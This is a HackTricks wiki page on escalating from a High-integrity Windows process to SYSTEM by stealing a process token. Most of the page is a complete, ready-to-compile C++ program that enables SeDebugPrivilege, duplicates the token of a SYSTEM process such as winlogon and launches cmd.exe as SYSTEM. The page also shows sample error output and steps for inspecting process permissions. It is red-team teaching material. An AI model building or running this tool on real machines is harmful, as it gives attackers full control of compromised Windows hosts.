SeImpersonate from High To System - HackTricks

# SeImpersonate from High To System

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

### Code

The following code from here. It allows to indicate a Process ID as argument and a CMD running as the user of the indicated process will be run.
Running in a High Integrity process you can indicate the PID of a process running as System (like winlogon, wininit) and execute a cmd.exe as system.

    impersonateuser.exe 1234

    // From https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962

    #include <windows.h>
    #include <iostream>
    #include <Lmcons.h>
    BOOL SetPrivilege(
    	HANDLE hToken,          // access token handle
    	LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
    	BOOL bEnablePrivilege   // to enable or disable privilege
    )
    {
    	TOKEN_PRIVILEGES tp;
    	LUID luid;
    	if (!LookupPrivilegeValue(
    		NULL,            // lookup privilege on local system
    		lpszPrivilege,   // privilege to lookup
    		&luid))        // receives LUID of privilege
    	{
    		printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
    		return FALSE;
    	}
    	tp.PrivilegeCount = 1;
    	tp.Privileges[0].Luid = luid;
    	if (bEnablePrivilege)
    		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    	else
    		tp.Privileges[0].Attributes = 0;
    	// Enable the privilege or disable all privileges.
    	if (!AdjustTokenPrivileges(
    		hToken,
    		FALSE,
    		&tp,
    		sizeof(TOKEN_PRIVILEGES),
    		(PTOKEN_PRIVILEGES)NULL,
    		(PDWORD)NULL))
    	{
    		printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
    		return FALSE;
    	}
    	if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
    	{
    		printf("[-] The token does not have the specified privilege. \n");
    		return FALSE;
    	}
    	return TRUE;
    }
    std::string get_username()
    {
    	TCHAR username[UNLEN + 1];
    	DWORD username_len = UNLEN + 1;
    	GetUserName(username, &username_len);
    	std::wstring username_w(username);
    	std::string username_s(username_w.begin(), username_w.end());
    	return username_s;
    }
    int main(int argc, char** argv) {
    	// Print whoami to compare to thread later
    	printf("[+] Current user is: %s\n", (get_username()).c_str());
    	// Grab PID from command line argument
    	char* pid_c = argv[1];
    	DWORD PID_TO_IMPERSONATE = atoi(pid_c);
    	// Initialize variables and structures
    	HANDLE tokenHandle = NULL;
    	HANDLE duplicateTokenHandle = NULL;
    	STARTUPINFO startupInfo;
    	PROCESS_INFORMATION processInformation;
    	ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
    	ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
    	startupInfo.cb = sizeof(STARTUPINFO);
    	// Add SE debug privilege
    	HANDLE currentTokenHandle = NULL;
    	BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
    	if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
    	{
    		printf("[+] SeDebugPrivilege enabled!\n");
    	}
    	// Call OpenProcess(), print return code and error code
    	HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
    	if (GetLastError() == NULL)
    		printf("[+] OpenProcess() success!\n");
    	else
    	{
    		printf("[-] OpenProcess() Return Code: %i\n", processHandle);
    		printf("[-] OpenProcess() Error: %i\n", GetLastError());
    	}
    	// Call OpenProcessToken(), print return code and error code
    	BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
    	if (GetLastError() == NULL)
    		printf("[+] OpenProcessToken() success!\n");
    	else
    	{
    		printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
    		printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
    	}
    	// Impersonate user in a thread
    	BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
    	if (GetLastError() == NULL)
    	{
    		printf("[+] ImpersonatedLoggedOnUser() success!\n");
    		printf("[+] Current user is: %s\n", (get_username()).c_str());
    		printf("[+] Reverting thread to original user context\n");
    		RevertToSelf();
    	}
    	else
    	{
    		printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
    		printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
    	}
    	// Call DuplicateTokenEx(), print return code and error code
    	BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
    	if (GetLastError() == NULL)
    		printf("[+] DuplicateTokenEx() success!\n");
    	else
    	{
    		printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
    		printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
    	}
    	// Call CreateProcessWithTokenW(), print return code and error code
    	BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
    	if (GetLastError() == NULL)
    		printf("[+] Process spawned!\n");
    	else
    	{
    		printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
    		printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
    	}
    	return 0;
    }

### Error

On some occasions you may try to impersonate System and it won't work showing an output like the following:

    [+] OpenProcess() success!
    [+] OpenProcessToken() success!
    [-] ImpersonatedLoggedOnUser() Return Code: 1
    [-] ImpersonatedLoggedOnUser() Error: 5
    [-] DuplicateTokenEx() Return Code: 0
    [-] DupicateTokenEx() Error: 5
    [-] CreateProcessWithTokenW Return Code: 0
    [-] CreateProcessWithTokenW Error: 1326

This means that even if you are running on a High Integrity level you don't have enough permissions.
Let's check current Administrator permissions over `svchost.exe` processes with processes explorer (or you can also use process hacker):

1. Select a process of `svchost.exe`
2. Right Click --> Properties
3. Inside "Security" Tab click in the bottom right the button "Permissions"
4. Click on "Advanced"
5. Select "Administrators" and click on "Edit"
6. Click on "Show advanced permissions"

The previous image contains all the privileges that "Administrators" have over the selected process (as you can see in case of `svchost.exe` they only have "Query" privileges)

See the privileges "Administrators" have over `winlogon.exe`:

Inside that process "Administrators" can "Read Memory" and "Read Permissions" which probably allows Administrators to impersonate the token used by this process.

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.